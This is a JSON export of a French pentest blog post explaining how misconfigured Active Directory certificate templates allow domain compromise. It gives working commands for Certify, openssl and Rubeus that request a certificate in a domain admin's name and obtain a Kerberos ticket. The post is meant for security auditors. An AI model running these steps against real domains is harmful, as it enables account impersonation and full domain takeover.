{"id":1028,"date":"2023-06-25T17:23:29","date_gmt":"2023-06-25T15:23:29","guid":{"rendered":"https:\/\/pentester.blog\/?p=1028"},"modified":"2023-11-01T17:36:40","modified_gmt":"2023-11-01T16:36:40","slug":"compromission-dun-active-directory-a-partir-de-modeles-de-certificats-vulnerables","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=1028","title":{"rendered":"Compromission d&rsquo;un Active Directory \u00e0 partir de mod\u00e8les de certificats vuln\u00e9rables"},"content":{"rendered":"\n<p>J&rsquo;ai souvent not\u00e9 que les audits portant sur la s\u00e9curit\u00e9 de l&rsquo;Active Directory faisaient l&rsquo;impasse sur le service de certificats.<\/p>\n\n\n\n<p>Or il suffit d&rsquo;un seul mod\u00e8le de certificat mal configur\u00e9 pour pouvoir usurper l&rsquo;identit\u00e9 de n&rsquo;importe compte du domaine et potentiellement compromettre l&rsquo;Active Directory !<\/p>\n\n\n\n<p>En r\u00e9alit\u00e9 rien de nouveau depuis la Blackhat de 2021 \u00ab\u00a0Certified Pre-Owned: Abusing Active Directory Certificate Services\u00a0\u00bb (https:\/\/specterops.io\/wp-content\/uploads\/sites\/3\/2022\/06\/Certified_Pre-Owned.pdf) mais malheureusement force est de constater que le message n&rsquo;est pas bien pass\u00e9.<\/p>\n\n\n\n<p>Alors pour les gens press\u00e9s, comment faire pour compromettre l&rsquo;AD avec des certificats ?<\/p>\n\n\n\n<p>Il faut d&rsquo;abord lister les mod\u00e8les de certificat vuln\u00e9rables, prenez par exemple l&rsquo;outil Certify (https:\/\/github.com\/GhostPack\/Certify) qui va vous lister tous vos mod\u00e8les de certificat vuln\u00e9rables :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Certify.exe find \/vulnerable &#91;\/ca:SERVER\\ca-name | \/domain:domain.local | \/path:CN=Configuration,DC=domain,DC=local] &#91;\/quiet]<\/code><\/pre>\n\n\n\n<p>Ensuite il vous faut rep\u00e9rer les templates vuln\u00e9rables, c&rsquo;est \u00e0 dire ceux r\u00e9unissant les 3 conditions suivantes :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pkiextendedkeyusage             : Client Authentication\nmsPKI-Certificates-Name-Flag    : ENROLLEE_SUPPLIES_SUBJECT\nEnrollment Rights               : NT AUTHORITY\\Authenticated Users<\/code><\/pre>\n\n\n\n<p>En somme il faut rechercher les templates accessibles \u00e0 tout utilisateur permettant de r\u00e9aliser de l&rsquo;authentification client et autorisant la fourniture d&rsquo;un SAN (sujet alternatif, un autre compte que vous-m\u00eame).<\/p>\n\n\n\n<p>Une fois les templates rep\u00e9r\u00e9s il n&rsquo;y a plus qu&rsquo;\u00e0 demander un certificat pour le compte d&rsquo;une tierce personne, au hasard un domain admin :=)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Certify.exe request \/ca:dc.theshire.local\\theshire-DC-CA \/template:VulnTemplate \/altname:localadmin<\/code><\/pre>\n\n\n\n<p>Une fois la cl\u00e9 priv\u00e9e et le certificat obtenu, convertissez les en PFX (PKCS12) avec openssl :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>openssl pkcs12 -in cert.pem -inkey key.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx<\/code><\/pre>\n\n\n\n<p>Muni de votre certificat cert.pfx l&rsquo;\u00e9tape suivante consiste \u00e0 demander un ticket Kerberos TGT pour l&rsquo;utilisateur victime (c&rsquo;est le nom du compte dans le SAN du certificat) et d&rsquo;injecter ce TGT dans votre propre processus LSASS :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Rubeus.exe asktgt \/user:victim \/certificate:C:\\Temp\\cert.pfx \/password:password<\/code><\/pre>\n\n\n\n<p>Vous pouvez v\u00e9rifier la pr\u00e9sence de ce ticket TGT avec la commande klist<\/p>\n\n\n\n<p>Et voila, vous pouvez maintenant utiliser vos nouveaux droits sur le domaine, simple non ?<\/p>\n\n\n\n<p>Alors j&rsquo;ai pass\u00e9 sous silence quelques points comme le bypass des outils de s\u00e9curit\u00e9 locaux, antivirus , d&rsquo;EDR, etc mais l\u00e0 n&rsquo;\u00e9tait pas le sujet.<\/p>\n\n\n\n<p>Je trouve cette technique incroyablement simple et efficace, pas la peine de se fatiguer \u00e0 casser des mots de passe sur du Kerberoasting par exemple, l&rsquo;authentification par certificat rend le pentest AD tellement plus facile.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>J&rsquo;ai souvent not\u00e9 que les audits portant sur la s\u00e9curit\u00e9 de l&rsquo;Active Directory faisaient l&rsquo;impasse sur le service de certificats. Or il suffit d&rsquo;un seul mod\u00e8le de certificat mal configur\u00e9 pour pouvoir usurper l&rsquo;identit\u00e9 de n&rsquo;importe compte du domaine et potentiellement compromettre l&rsquo;Active Directory ! En r\u00e9alit\u00e9 rien de nouveau depuis la Blackhat de 2021 &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=1028\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Compromission d&rsquo;un Active Directory \u00e0 partir de mod\u00e8les de certificats vuln\u00e9rables<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-1028","post","type-post","status-publish","format-standard","hentry","category-pentest"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/1028","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1028"}],"version-history":[{"count":5,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/1028\/revisions"}],"predecessor-version":[{"id":1034,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/1028\/revisions\/1034"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1028"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1028"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1028"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}